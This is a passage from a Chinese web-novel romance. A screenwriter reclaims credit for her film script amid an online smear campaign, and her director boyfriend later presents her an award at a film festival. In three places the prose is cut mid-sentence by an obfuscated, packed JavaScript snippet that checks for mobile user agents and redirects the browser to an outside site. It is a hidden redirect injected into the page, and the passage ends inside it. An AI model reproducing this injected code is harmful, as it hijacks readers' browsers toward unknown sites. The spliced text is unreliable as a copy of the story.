徐皑没想到这大半夜的竟然能接到他的电话,性质很高昂:“怎么了?发生什么事儿了?遇见感情问题了,需要军师出谋划策了?” “别废话,你当初不是投过《强制报告》?” 徐皑:“……嗯?怎么了?” 挂断电话后,谈雪昼低头翻开手机。 他挺少看社交媒体评论的,因为他的电影关注度太高了,各种言论进来太多,谁都觉得自己批评有道理,对创作不利。但因为宜夏,他却关注了挺多本来不感兴趣的文艺电影的影评人。 一条微博转到了他的首页上来。 他往下翻评论,越翻眉眼越沉。 手机同时收到了徐皑发来的文件。 这小子跟做尽职调查一样,发了一份很翔实的PDF。谈雪昼翻到跟《强制报告》相关的那一段,越看脸色越差劲。 那段时间他在哪里? 那时候,他们还没正式的认识吧。 那时候他在养病。 火灾导致眼睛被熏出了问题,好几次激光手术,之后一度看不见,很长一段时间只能坐在后院里跟瑁妹的前任瑁瑁面面相觑。 一次意外,瑁瑁跑出去了,就再也没回来,也许是流浪了。他当时让人去找了,还在微博上发了寻找猫咪的消息,甚至悬赏了七位数,可是瑁瑁还是没回来。 眼睛看不见大概持续了半年。 才渐渐能接触光,好转,然后慢慢地戴着墨镜看一点东西。到现在眼睛好多了,只是受光的时候,还是很容易干涩掉眼泪。 所以那半年他是没接触任何网络上的信息的。 也不知道,原来她被那么严重地网暴过。 她那么坚强,却因为那些洪水般的言论抑郁。 他攥紧手机,看着远处漆黑的天空和隐约一线的天际线,深呼吸,压住眉宇间的戾气。 - 这边。 宜夏已经找出了电脑里所有的证据材料,把东西打包交给了公关公司,打算连夜奋战。她不累,反而特别激动,因为她……终于可以拿回属于她的《强制报告》了。 过程中,谈雪昼敲过一次书房门,让她早点睡,明早起来再解决这件事。但她一点都不困,挂着会议继续跟公关开会。 公关建议她不要错过黄金辟谣时间,先登陆微博简单回应。明天再把整理好的文件证据和PDF发上去,完整完美地辟谣。 她照做了,发了一条很简单的几百字微博。 这是她第一次登录她的微博大号@编剧宜夏,发新的内容。 发完之后,她意外看见,谈雪昼的名字竟然挂在热搜上。 和她并排。 #谈雪昼宜夏# @谈雪昼:女朋友的礼物[照片] 谈雪昼竟然在几个小时之前,发了那个金棕榈奖杯的照片。 这个奖杯实在是太有标志性,所有人都知道,今年的华语电影只有《清塘山岛日记》在戛纳获得了奖项,这条微博背后的指向性非常明显。 在这样的风口浪尖上,宜夏还没有出来说话,谈雪昼却不管网上那些恶评,发了这样的微博。 背后是什么意思? 一时间,谈雪昼的粉丝们受不了了。 导演谈恋爱无所谓,谈幕后很正常,问题是,你自己清清白白,也该谈个风评名声好一点的吧?就算谈了名声这么差黑料这么多的,你也不该在这种风口浪尖上突然站出来吧? 谈雪昼的名声比宜夏大得多。 顿时,水军一窝蜂地挤进了他的评论区,有科普宜夏黑料的,有指责谈雪昼的,还有就是话锋矛头调转到他本人,指责他本人估计也是跟宜夏蛇鼠一窝的,等等。 这些评论他一条都没删。 见他态度如此嚣张,那些骂宜夏的正义路人,顿时上了头,集中火力加倍指责他,妄图骂醒他。 宜夏有点受不了。 那些骂她的,她可以忍受,毕竟她知道自己在做什么,也知道自己将会面对什么,逆转之前的低谷是必要的铺垫。 但他是无妄之灾。 他为什么要发那条。 就为了和她站在一起吗? 他迟一点,等她澄清之后再发,会怎么样,她又不会受到多余的伤害。 宜夏睡不着了。 虽然公关公司的人已经下线,但宜夏又一次坐了起来,洗把脸过后,再次回到了书房。 开着一盏台灯,她继续整理一整晚没有整理好的所有线索。 凌晨四点的时候。 她突然收到了一条来自施可雨的消息。 【夏姐】 【你睡了吗?】 宜夏没顾得上回答她,盯着屏幕,一页一页地审校已经写好的文稿。 眼睛胀痛,她探出一只手拿起旁边的水杯喝了口,却只喝到了空气。宜夏实在是困得有点难受,正要站起来去接点水喝,一杯牛奶递到了她眼前。 她抬起头。 谈雪昼表情有点困倦,把牛奶搁到桌边,懒散揉了揉她头发:“快弄好了没?” “……快了。” “好了就去睡一会儿。” “还差一点呢。” 谈雪昼干脆拉了把椅子,在她旁边坐下,看着她写东西。电脑屏幕上同时开了三个分屏,所有的证据、聊天记录、转账文档,条分缕析,中文系出身加编剧功底,情绪饱满,逻辑也足够,写得很有条理。 谈雪昼相信她能做好,所以,他不会越过她,提前擅自出手。 看着看着,屏幕上闪烁的文字光标逐渐模糊,谈雪昼靠着她的肩膀,闭上眼睡了过去。 宜夏头一偏,看见肩头的人高挺的鼻梁,纤长浓密的睫毛在眼底投下静谧的影。 睁眼时是轻微眉压眼英挺桀骜的眉眼,居高临下看着人,经常带点不经意的倨傲不驯。闭上眼睡着了,却如此安静柔软。 她突然心一定。 一瞬间有点明白,霸总都喜欢娇妻,是什么原因。 她一定要努力把他娶回家。 外面天色亮起一线黎明。 宜夏揉了揉眼睛,终于给最后的文档按下了保存按钮,随即发给了公关的同事。那边的同事也已经上线,见她竟然如此迅速,立刻发了好几个OK表情过来,马上开始分工看她发的那些文档。 宜夏心一松,转过头,谈雪昼依然靠在她肩头睡着。这个人有点重,宜夏肩膀被压得酸麻,却舍不得动弹,伸手拨了拨他的额发。 一低眼,看见了他根根分明的长睫毛。 真的像洋娃娃,浓密又卷翘。她没忍住,悄悄拨动睫毛,柔柔地碰到指腹,痒痒的。她来了兴致,也有耐心,一根一根地数他究竟有多少根睫毛。数着数着,他睫毛簌簌抖动,下一瞬,睁开了眼睛。 宜夏没被他吓到,而是很自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182661|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然流畅地在他脸上亲了一下。 像亲一个大娃娃。 谈雪昼还没彻底清醒,表情懒倦,动作也很缓慢地从她肩头挪开,声音带点儿哑:“弄完了?几点了?去睡觉。” 宜夏精神还很好:“已经写好了,马上就发。” 谈雪昼坐直,“嗯”了一声,摸过手机看了一眼,又伸手揉她头发:“你发完了去睡会儿,我帮你看着。” 宜夏:“我不困。” 谈雪昼站起来:“那行,我叫个早餐来。吃完了再看网上那些东西。” 宜夏一边点头,一边看公关的同事发她的反馈。 看完之后,登录回自己的微博,发了一条长内容,甚至带上了网盘链接。 接着,她才看了眼昨晚发的那条短澄清微博底下的评论。 昨天那条澄清,她写的很简单。没有针对被挑刺否定的《兰花开》和《江流冬日》做回应,毕竟,这些欲加之罪,就算澄清也不能堵住悠悠众口。 她挑破的是《强制报告》的署名权问题,随后艾特于思程出来与她对质。 《兰花开》和《江流冬日》被指责的那些枝枝节节小问题,顿时被《强制报告》署名争议这种铁板钉钉的大瓜给压了过去。 《强制报告》实在是太有名了。 奖项票房双丰收,最近十年华语电影现实主义题材的扛鼎之作,甚至带着导演编剧演员共同飞升,让出品公司和制作公司都股价大涨。 这样的电影。 署名的编剧竟然不是真正的编剧? 卧槽。 电影圈真够复杂的。 哪怕只是幕后,利益冲突也是你死我活的境地。 当然下面有人立刻质疑宜夏为什么现在才出来说这点。 也有人继续纠缠《兰花开》和《江流冬日》的问题,不相信《强制报告》那样的神级剧本是她这种有污点的人写出来的。 不过,大部分路人却是已经半信半疑。 毕竟,没有点证据,突然站出来说一个那么有名的电影剧本是自己写的,如果是说谎,那绝对是疯了博出位吧! 根本没必要在新作品刚拿了戛纳大奖的时候,出来发疯。 不知道为什么,除开她的微博评论区有人激烈地争吵之外,其余的那些信誓旦旦造谣营销号,纷纷噤声闭嘴。 现在热搜广场上,却是一些素人账号在替她说话。 也有《江流冬日》的粉丝忍不了了,站出来说明明一部没有问题的电影,却被口诛笔伐,跟搞文字狱一样,这种互联网风气很不好。 宜夏意识到,那些营销号的噤声,应该是有人在帮她。 帮她塑造一个,没有其他人噪音影响的干净环境。 她看了一会儿,心很放松。 短暂地关掉网络,站起来伸了个懒腰,拉开书房的窗帘。 嘉华汇的顶层,足以俯瞰整座城市。 视野格外开阔,她望向云层,看见远处一架飞机正在奋力飞向云端。 微微发烫的曦光洒在脸颊上,她挡住眼睛仰起头,微笑起来。 她想告诉自己。 告诉当初十七岁把自己关在孤独的世界里写童话故事的那个小姑娘,没关系,你长大了,你清白而且勇敢,保护了自己。 你会自己洗干净你身上所有的污点,你会好好地长大。 遇见很好的人,做最喜欢的事,成长为勇敢无畏的大人。 79. 想把你比作春日 宜夏吃了早饭,才不急不缓地回头再看网上的言论。 不出她所料的是,于思程那边在奋力地辩解,歇斯底里地要求她给出证明。 而她刚刚发出去的长微博里,于思程想要的内容证据一应俱全,从最开始的微信聊天,到后来于思程乞求她不要追究、给她转剧本费、用她外婆的病为交换来换她闭嘴等等记录,全都条理清楚地展示了出来。 证据确凿,于思程那边无法反驳,突然Po出了《强制报告》的合同记录,表示,签订编剧合同时,自始至终都是于思程为编剧,宜夏全都是在扭曲事实,捏造信息。 这种反驳力量太微弱,因为宜夏发难的初始点本身就是合同无效。 但于思程那边的水军力量强大,依然在负隅顽抗,表示法律的事归法律,本身合同是于思程,那于思程就是《强制报告》的编剧。 这种逻辑实在是太流氓了,路人也看不下去了,群起而攻之。 你抢了别人孩子,难道能用你和买家的合同来把那个孩子真的抢到你的名下吗?难道丢孩子的苦主就不是孩子的亲生父母了吗? 于思程那边不消停,就只能抓住《兰花开》和《江流冬日》的问题,歇斯底里地表示,宜夏也不是什么好东西。 就算,《强制报告》真是她写的,那些立场有问题的东西,难道不也是她写的么? 紧接着就是一团混战了。 这些后续宜夏基本都能预料到,也知道《兰花开》的那些问题是没有办法去纠缠的。 毕竟,没有黑料,被捏造出了一个黑料,被立了一个靶子再打,这样正常人要怎么去澄清呢?人要怎么证明自己根本没有做过的事? 根本没有办法从正常的角度予以回应,只能用更大的正面声量淹没这些负面的假问题。 到这,宜夏已经大获全胜。 完成了自己最重要的目的,拿回了属于自己的东西。 后续的事情依然在发展,开始逐步出乎她的意料。 先是《强制报告》,剧组终于有人站出来说话了。 而且是最有权力的制片人。 @周夏V: 我们已经注意到了关于《强制报告》的署名争议。经过调查,我谨代表全剧组所有同事,郑重向真正的主笔编剧宜夏老师道歉。《强制报告》剧组也是被蒙蔽的一方,希望宜夏老师原谅这迟到的正义。 紧接着就是导演。 @陆之明V: 《强制报告》上映两年,依然有人念念不忘,这是一部给太多人留下了感动的电影。作为导演,我很荣幸,也有责任保护电影的声誉。正因为如此,我不能对电影的争议坐视不理,有责任出来说两句。 一是,我与宜夏老师相识在前,彼时宜夏老师与@于思程Sunny共开一间工作室,宜夏老师的剧本大都在@于思程Sunny手中。因此,从@于思程Sunny手里拿到《强制报告》初版剧本时,我已经怀疑过剧本其实不出自@于思程Sunny之手,而是宜夏老师的手笔。然而,@于思程Sunny向我保证,这是她十年磨一剑精心打磨多年的剧本,宜夏只是参与创作,而非主笔。我不愿意在无辜人身上加诸没有证据的怀疑,因此,导致了真正的编剧遗憾失去署名。在此,向宜夏老师道歉。 第二,既然真正的编剧是宜夏老师,希望金芙蓉电影节组委会能够收回当年的最佳原创剧本奖杯,还给应该得到它的人。 宜夏从来没恨过《强制报告》剧组。 剧本里有些写得没那么流畅的地方,陆之明导演用自己的天才修整处理,最终才呈现了完美的电影。 剧组是否真的被蒙蔽,她暂且不去追究。曾经,她出事后,《强制报告》很多人知道内情,却也没有替她说话,那是因为于思程的家世压倒了普通的打工人,她能够理解。 现在他们愿意站出来替她说话,她已经很感动了。 这样还没完。 下午时,网上多了一个匿名小号开帖。 那个匿名小号发的内容是一份合同。 《强制报告》的署名权合同。 那份合同上,署名条款里,载明了真正的编剧是宜夏。 然而于思程发出来的那份真正的合同,编剧却是她自己。 宜夏一看到这份合同,顿时明白了什么。 当初她明明确认过署名条款是她,最终的合同却换成了于思程的名字。 原来,是有两份合同。于思程和剧组签了一份真正的合同,署名是自己;又伪造了一份,署名给了宜夏,把伪造那一份给她过目,降低她的警惕。 这份伪造的合同,宜夏看过,却早就丢失不见,否则当初她就可以拿这份合同早早澄清,与于思程对质。 匿名小号什么都没多说,把合同贴出来之后就再也没上过线了。 这个小号到底是谁? 能看到那份伪造的合同,认识她,也认识于思程,甚至…… 沉吟许久,宜夏点开微信,找出了施可雨的聊天窗。 她是想问施可雨要不要继续一起做《春日》这个项目。但施可雨表示她人已经去北京,进入下一个剧组了。宜夏说没有关系,《春日》开机还要等一段时间。 施可雨沉默一会儿还是说谢谢她给的机会。 又说。 【对不起,夏姐,原谅我。】 【我之前做过一些对不起你的事。】 宜夏盯着对话框看了很久。 最终她也没问,那个小号到底是谁,IP地址出现在北京,会不会是巧合? - 宜夏只发了两条微博。 后续铺天盖地的支持,有网友的自发,当然,她很明白,也有人在背后帮她。 热搜广场上,词条里,全是正面的澄清,《兰花开》和《江流冬日》曾经被扒出来的问题,也一瞬之间反转。 反而是于思程。 《强制报告》的署名争议,已经让她水深火热。 过去参与编剧的不少作品,也被扒出来了内容有问题。要么不专业,要么人物悬浮,要么三观不正,要么厌女,要么媚男,要么媚富……网友们甚至扒起了她本人营造的白富美人设,说她大学作弊抄袭,原来早就是个惯犯。 等等等等。 在一片沸腾之中,金芙蓉电影节的组委会出来说话了,站出来宣布,要对《强制报告》曾经的奖项进行彻底的审视和调查,把奖杯还给它真正的主人。 最最开始,在澄清还没有出来就仓促官宣的谈雪昼。 这时候微博才慢吞吞上线。 转发了金芙蓉电影节组委会的官博。 @谈雪昼V:麻烦尽快。//@金芙蓉电影节V:…… 又把宜夏两条澄清回复都转发了一遍。 随后。 很是莫名其妙的。 最当红的一大群顶流明星,都下场帮忙转发了,为首的就是路昭野。 @路昭野V:希望有机会和宜老师合作//@谈雪昼V:…… 谈雪昼慢悠悠在他的评论区里回了个问号。 又补了句: 【别套近乎,宜老师认识你吗?】 宜夏怎么可能不知道,这些大明星都是因为谈雪昼才声援支持她的。大明星们带来了无数粉丝流量,顿时把微弱的一点黑子声音喷出了十万八千里。 这是彻底的大获全胜。 - 为了庆祝宜夏拿回自己的电影,谈雪昼带宜夏出去玩了一趟。两个人找了家温泉度假山庄,好好地休息了几天。 宜夏就连去玩,也不忘记自己的工作。 《想把你比作春日》的剧本她之前一直不好意思给谈雪昼看,这次,两个人在度假酒店别墅的小院子里看星星时,宜夏尝试着把剧本讲给了他听。 谈雪昼也给她讲,他的《天幕之下》,要拍什么样的内容。 宜夏很喜欢他的故事,他创造的独特世界观,他的人物丰满热血,充满理想主义的光辉。 如同钻石般珍贵。 听完《天幕之下》,宜夏问:“那之后呢?之后拍什么?” “之后?”他转头看她,眉眼含笑,“之后就没什么想拍的了。” “怎么会?”宜夏看向他,愣了下,“不想拍了吗?可是你……” 谈雪昼“嗯”了一声:“想拍的东西已经拍得差不多了,等到有灵感了,再开新的项目。” 宜夏咬了下唇:“我以为,我可以和你合作一次,当你的编剧的。” “自己当导演不好吗?” “但我也想看你拍我的剧本出来,和我自己拍的感觉肯定不一样。” 一直到睡前,宜夏情绪都有点低落。 谈雪昼虽然说得很柔和,但换一个说法,其实就是,息影淡圈的意思…… 她还没来得及跟他合作。 - 《清塘山岛日记》趁着宜夏跟《强制报告》带来的热度,宣布了定档到六月一号,错开暑期档的激烈竞争,为暑期档的大片们打个前站。 从上映起,宜夏就跟着剧组到处跑路演。 不过,他们这个电影没有明星,路演就是很简单的主创交流,来的人也不会很多,基本都是文艺片的影迷,气氛不错。 路演现场主要集中在各大高校,宜夏还回了自己的大学母校江流大学,跟学弟学妹们交流。在江流大学的时候,有学妹提问她会不会继续做导演,下一部想拍的内容是什么。 宜夏带着笑说保密。 《清塘山岛日记》最终票房定格在了五千万。 这个票房已经大大出乎所有人意料,不仅回本了,甚至赚了不少。文艺片和商业片并不一样,投资五百万能拿五千万票房的文艺片导演,在制片公司眼里,不见得比投资一个亿票房三个亿的商业片导演差。 所以在《清塘山岛日记》还没下映时,宜夏这边就已经有不少有投资意向的投资人开始接触。 《春日》的剧本已经磨得差不多,也是可以筹备起来了。 谈雪昼依然想要投资,不过宜夏打算先跟其他投资人接触接触,看看她这个剧本在商业上真正的评价。 这些天跟不少投资人接触了下来,每天都挺忙。 谈雪昼也很忙,他的《天幕之下》投资实在是太大了,前期筹备战线拉得非常的长,这段时间甚至飞去了非洲取景考察。 于是隔着时差,两个人只是有一搭没一搭的聊着。 宜夏把他要息影这件事装在心里,虽然很惆怅,却没多问,也没想劝他。 尊重他的想法。 时间很快走到七月中旬。 让宜夏最初进入所有人视线的金芙蓉电影节要开幕了。 金芙蓉电影节是国内最权威的电影节之一,两年一办,每年举办的时候都是星光云集。宜夏的《清塘》得到了好几个提名,电影节组委会甚至大方地给了最佳影片提名,除此之外,还有最佳长片处女作、最佳新人导演。 宜夏受邀参加电影节。 谈雪昼的《城池》这次又只拿了几个技术奖项的提名。 电影节开幕前两天,他人还在非洲。 宜夏问他要不要回来参加,他挺直白地问:“回来让那些老头子继续羞辱我吗?” ——确实。 只要他现身了电影节,就会有一大堆影评人蜂拥而上,开始找角度各种蹭热度。一群人说他不受学院认可非科班出身,另一群人就说学院需要靠拒绝谈雪昼证明逼格,接下来就可以针对他还没开的,快开的,已经开的项目撕逼打赌压票房,等等等等。 已经形成一套完整流程了。 宜夏也是白问,快挂电话时,突然想起:“我如果这次拿奖了,我就有三个奖杯了。” 加上金芙蓉给她补的那个《强制报告》的剧本奖。 谈雪昼好像是在外面走,风很大,风声扯得很紧。 他懒懒问:“所以?” 宜夏琢磨着:“你说,要娶你,需要几个奖杯证明实力?” 谈雪昼:“……如果是其他人的话,一百个一千个也不行。”顿了下,“如果是你的话,一个都没有也行。” 宜夏忍不住笑:“哎,不要对我要求这么宽松好吗?谈老师,你的身价呢?你的高傲呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192460|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯哼。”谈雪昼懒懒散散的,“我只差把自己献身给你了,你不给我这个机会么。” 宜夏脸一红,后颈莫名地烫了起来,立刻正经地赶紧挂断了电话。 - 金芙蓉电影节颁奖典礼当天,星光云集。 真正受关注的还是大明星大导演,知名度不高的小演员,包括像宜夏这样的幕后工作人员没什么人关注,从红毯上溜达着就进内场了。 宜夏很意外的,在内场碰见了许久不见的舒润。 前段时间的舆论风暴也波及了舒润,提及他当年跟宜夏的恋情。其中也有他对家在其中发挥功劳,总之等风波平息,舒润的粉丝也脱了一些。 作为《强制报告》的男主角,他却是剧组唯一一个没有站出来替宜夏说话的人。明明已经是顺风局,他发言不会有任何人指摘他,他却一直保持着沉默。 在内场见到宜夏,他微微一笑,远远打了个招呼,没有再靠近。 宜夏对他现在情绪也已经很淡,点了点头。 但组委会安排的座位,他被安排到了宜夏身后。 两个人没有说话。 宜夏提名了最佳新人导演、最佳长片处女作、最佳影片。 最佳新人导演奖项宣布,不是她,是一位拍少数民族题材的年轻导演。 最重头的最佳影片奖项,宜夏也自知没有可能性。所以现在唯一有可能的奖项就是最佳长片处女作。 这奖项颁奖次序很靠后,已经颁完了最佳男女配角,才轮到颁发最佳长片处女作。主持人在台上言笑盈盈:“有请颁奖嘉宾上台。” 宜夏撑着座椅扶手,挺直脊背。 明明事先想的是,戛纳颁奖典礼都熬过了,绝对不紧张。 但真到了快颁奖的时候,还是不受控制地突然胡思乱想,心脏一下一下有力地跳着,在胸腔鼓胀起来。 颁奖的嘉宾不是坐在前两排的大佬,而是从后台不紧不慢走出来的。 看到来人,宜夏指甲掐住了掌心,微微瞪圆眼睛。 怎么会,是谈雪昼? 这人不是还在非洲吗? 他不大喜欢穿正装的,就算穿西装,也都是偏休闲风,走英气慵懒那一挂。 今天也是一样,乌木黑的外套廓形宽松,线条简约,内搭不是板正的正装白衬衫,而是一件浅灰色的丝绸衬衫,脖颈上松松系着一个丝绸结,垂下来遮挡住喉结,增添了几分随性而禁欲的感觉。也不像明星们戴满珠宝把自己变成品牌方的展示衣架,他身上没什么首饰,只是微微一抬手腕,能看见清瘦腕骨上搭着一块机械表,表盘深蓝色,有点点星光在上面闪烁涌动。 然而,让人第一眼注意到的,不是他的衣服,而是他整个人。是一室明亮灯光下他清晰明朗的眉眼,他略带漫不经心的倨傲神态,他整个的动作,他的眼神,清朗如流云的眼睛,他扫视满场,随后略略勾唇那一瞬间的情态。 宜夏屏住呼吸。 全世界只剩舞台中央那一个人。 谈雪昼朝底下扫了一眼,准确捕捉到了宜夏,微微一扬眉。 很含蓄隐晦的眼神交流,宜夏却感觉被他勾了下魂,后颈立刻条件反射地烫了起来。 怀疑他是不是给她下蛊了。 他走到舞台中央,接过主持人手里的颁奖信封,低下头敛着眉很认真地拆开信封。 现场所有镜头也就很认真地拍他的动作。 全场都因为他慢条斯理的动作而屏息等待。 修长手指很轻巧地拆开火漆,谈雪昼取出来看了眼名字。 主持人把话筒递到他嘴边。 宜夏彻底绷紧了脸,背脊挺直。 谈雪昼展眉一笑:“最佳长片处女作得主是,《清塘山岛日记》,导演宜夏,恭喜你。” 掌声此起彼伏。 现场的镜头也纷纷找到了宜夏,宜夏只要一侧头,就能看见现场的大屏幕上自己的表情:紧张、释然、轻松、欣喜,最后是明媚的笑容绽放。 她站起来,拎起裙摆,一步一步朝舞台中心走。 她穿的是一件淡绿色的礼服裙,方形大领口,露出白皙精致的肩颈线条。收腰设计,腰部点缀着金绿色的叶片,更衬得腰身盈盈一握。裙摆部分裁剪精致,在淡绿的丝绸面料之外叠了一层浅金色的轻纱,行走之间,如同淡绿的流云,仙气飘飘,白皙修长的小腿在走动之间若隐若现。 走到舞台上,谈雪昼已经提前走过来迎接她,伸出一只手引导她的脚步。宜夏偏头看他一眼,含着笑把手交给他,被他领到发言台后面。 他把水晶质地的奖杯交到她手里。 宜夏这时候掌心已经汗湿了。 想着不紧张,想着已经领过一次奖了小场面,但还是紧张喜悦胜过其他。 她掰了下发言台上的话筒,第一句话却是对旁边谈雪昼说的:“谈导帮我拿一下这个奖杯好吗?我有点紧张,找一下我的感言小抄。” 底下的观众们都因为她这句话笑起来。 当你获胜的时候,全世界都是善意的。 谈雪昼微微挑了下眉,接过她一本正经严肃递过来的奖杯。 感言小抄当然是开玩笑,宜夏握住话筒,很镇定地开始讲自己的获奖感言。 从戛纳回来,这回已经是第二回熟能生巧了,她照例从剧组所有同事感谢起,也感谢朋友们的支持。 最后,看向旁边的谈雪昼。 她凝视他片刻,回眸,笑得很明媚:“最后感谢我的男朋友。” “感谢你一路以来的支持和包容,感谢你的力量和温暖,感谢你出现在我的生命里。” “如果说之前的低谷是漫长的冬夜的话,你就是我人生的春和景明。” 她抿着唇,朝着镜头微微笑,清亮明媚的杏眼里有流动的星星。 底下掌声不绝。 宜夏拎着裙摆下台。 主持人连忙叫住她:“宜导,你的奖杯忘记拿了!” 谈雪昼跟着调侃,散漫问:“宜导的意思,怎么,是让我帮你保管吗?” 宜夏已经下了舞台,回眸一笑,盈盈如水波:“可以吗?” 80. x想把你比作春日 谈雪昼就真的拿着宜夏的奖杯下了台。 组委会给他留的位置在前面第一排靠中间,他坐下,手上还拿着宜夏那个奖杯,摆弄了两下,竟然拿起手机拍了张照。 现场的摄像捕捉到了他的动作,大屏幕上出现了他拍照的片段,他发觉了,朝大屏幕瞟了眼,漫不经心勾了勾唇。 现场直播,直播间大部分观众们都有点懵,但也有敏锐的嗑药鸡啊啊啊啊啊好甜好甜地开始开磕了。 一个匿名论坛里,多了一个热帖。 【乱中插,有人磕冬宜密雪这一对吗?】 LZ:太甜了吧,你谈亲手给女朋友颁奖,一夏获奖感言直接表白,俩人眼神黏到拉丝了踏马的!这两位怎么不是演员呢?明明二位都是可以去演自己电影男女主的长相,直接去一起演个电影,幕天席地大do特do给我看!!!对我会很好!!!支持冬宜密雪上床的请!呼!吸! 1L:在内娱演员身上没磕到的糖,在两位导演身上磕到了 2L:你谈真的超爱,从去年过年起,微博就只剩了女朋友 [微博][微博][微博] 3L:一起学谈导叫,一起:女朋友做的呢,女朋友买的呢,女朋友送的呢 4L:没想到你谈内娱Bking变娇夫,真的超爱的 5L:耶总表示没眼看 6L:反而是一夏比较含蓄内敛,微博都没发过你谈相关的内容 7L:大女人不蹭小娇夫热度OK?? 8L:还有没有人在看内场直播?你谈一直低头玩手机,笑得非常不值钱 9L:有点怀疑二位回去就要翻云覆雨巫山云雨了 10L:话说你谈那方面能力怎么样?能不能让一夏满意? 11L:哈哈哈老处男笑死我了 12L:哈哈哈老处男笑死我了 13L:哈哈哈老处男笑死我了 14L:不是怎么都看不起谈导了?没人看过谈之前有一次路演的Cut吗?那次穿了个灰色裤子,形状贼大,应该很有些本钱在的 15L:哈哈哈老处男笑死我了 …… 宜夏回到自己的座位,应对完周围一圈熟悉不熟悉的人的祝贺。 她翻开了手机,戳开某个人的微信。 【不是说不回来吗?】 【这是为了给我惊喜吗?】 谈雪昼: 【想多了啊,只是组委会觉得这么重要的电影节,我缺席呢实在是个太大的遗憾,一定要我来参加,还要我来当这个颁奖嘉宾】 【跟你没有关系啊】 宜夏: 【是吗,那把奖杯还我啊】 谈雪昼: 【不是说要娶我?我帮你保管下怎么了?】 宜夏想起刚刚见到他出现那一瞬间的心情。震动,感动,触动,以及…… 特别的想亲他,特别特别。 有一种,很想跟他私奔的冲动。 于是,她冲动地给他发了条消息: 【男朋友】 谈雪昼: 【嗯?】 宜夏: 【跟我走吗?】 - 宜夏矮下身子,避开镜头,从拥挤的座位间隙中慢慢挪出去。一走到过道,她立即站直了身子,大步朝场馆后门飞奔。 有点迫不及待。 从后门出去,她张望一眼,下一秒手腕被人拉住,拽进了安全通道里。 安全通道的门在背后合上,宜夏后脑抵在门板上,仰起脸来。他紧紧把她按在怀里,手臂箍得很紧,一只手按在她后颈,低头咬住了她的唇瓣。 宜夏伸出手臂,用力地抱住他的脖颈,这个吻比平时要激烈激动许多。 分开的时候,两个人都有些呼吸凌乱。 借助安全通道昏暗的光线,宜夏用眼神描摹他的眉眼,看进他漆黑的眼睛里。 格外依赖地用脸颊蹭了蹭他肩头,眼睛明亮,闪烁着浅金色的星星:“谈雪昼。” “在呢。” “怎么回来了呀?那边勘景顺利吗?” “还行。” 宜夏抱住他的腰,手掌钻进西装马甲里,轻轻往上捋他的衬衫衣角,一下却没扯动。她低眼,见他的衬衫没入西裤里,没有任何褶皱,格外挺括。宜夏抬起眼找到他的眼睛,手按在他的胯上,声音含糊:“第一次见你穿这么正式……你还戴衬衫夹了啊。” 箍住大腿的衬衫夹,稍微脑补一下都有点儿受不了。 “嗯哼。”他有一下没一下捋她后脑浓密的长发,哑着声音问她,“喜欢?” 宜夏很诚实:“很色。” “还在外面呢,”谈雪昼凑近她,鼻尖抵着鼻尖,微热的呼吸洒在她唇瓣上,“稍微克制点儿对我的垂涎欲滴。” 从安全通道出去的时候,宜夏嘴唇红肿得不行。 她刻意拉开了一点跟谈雪昼的距离,走在前面,欲盖弥彰。与旁边的工作人员擦肩而过,不少心照不宣的眼神让宜夏脸颊更烫。 谈雪昼跟在后边,不紧不慢地走着。 一起往地下车库去。 刚到车库入口,宜夏突然被人从背后叫住。 是舒润。 他手上捧着一束橙玫瑰与向日葵扎成的花束,站在逆光的地方。 宜夏回过头,看了谈雪昼一眼,立刻压低声音表明清白:“我刚刚在内场,全场都没和他说话。” 谈雪昼拍了拍她的脑袋,懒散说:“他有话跟你说。” 宜夏瞄他一眼:“不准吃醋。” 谈雪昼扯了下唇角:“看你表现。” 他留在原地,宜夏朝舒润走过去,站定在他面前。 舒润一只手拿着花,深深凝视她:“阿宜,祝贺你。” 宜夏微笑:“谢谢。”顿了下,“舒润,我现在过得很好,也走出来了。你也走出来吧,其实,你一直是个很好的人。” “对不起。”舒润片刻后,轻声说,“对了,还有一件事,我要告诉你。” 宜夏仰起脸。 “当初,我们也是在这个场馆外面,也是在这座停车场里,我送了你一束花。那之后,你对我态度柔和了很多,不再拒绝我的接近。后来我想想,好像因为是那束花对你有特殊的意义。” “其实我一直不知道该怎么说,但是,也许我们那个开始,是个错误。那束花不是我定的,而是花店送错了订单。”他把手里的橙玫瑰与向日葵花束递给她,“这一束,是由我定的。送给你,希望你收下。以后我不会再来打扰你,也希望你能过得快乐。” 宜夏接过花,怔怔低头。 是橙玫瑰和向日葵。 最初送她这样的花束的,是那只陌生的企鹅玩偶娃娃。 她当然知道舒润不可能是那只企鹅,橙玫瑰和向日葵,也只是舒润的巧合。 但她确实是因为曾经那束花,而放软了对舒润的态度,放任他的追求,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 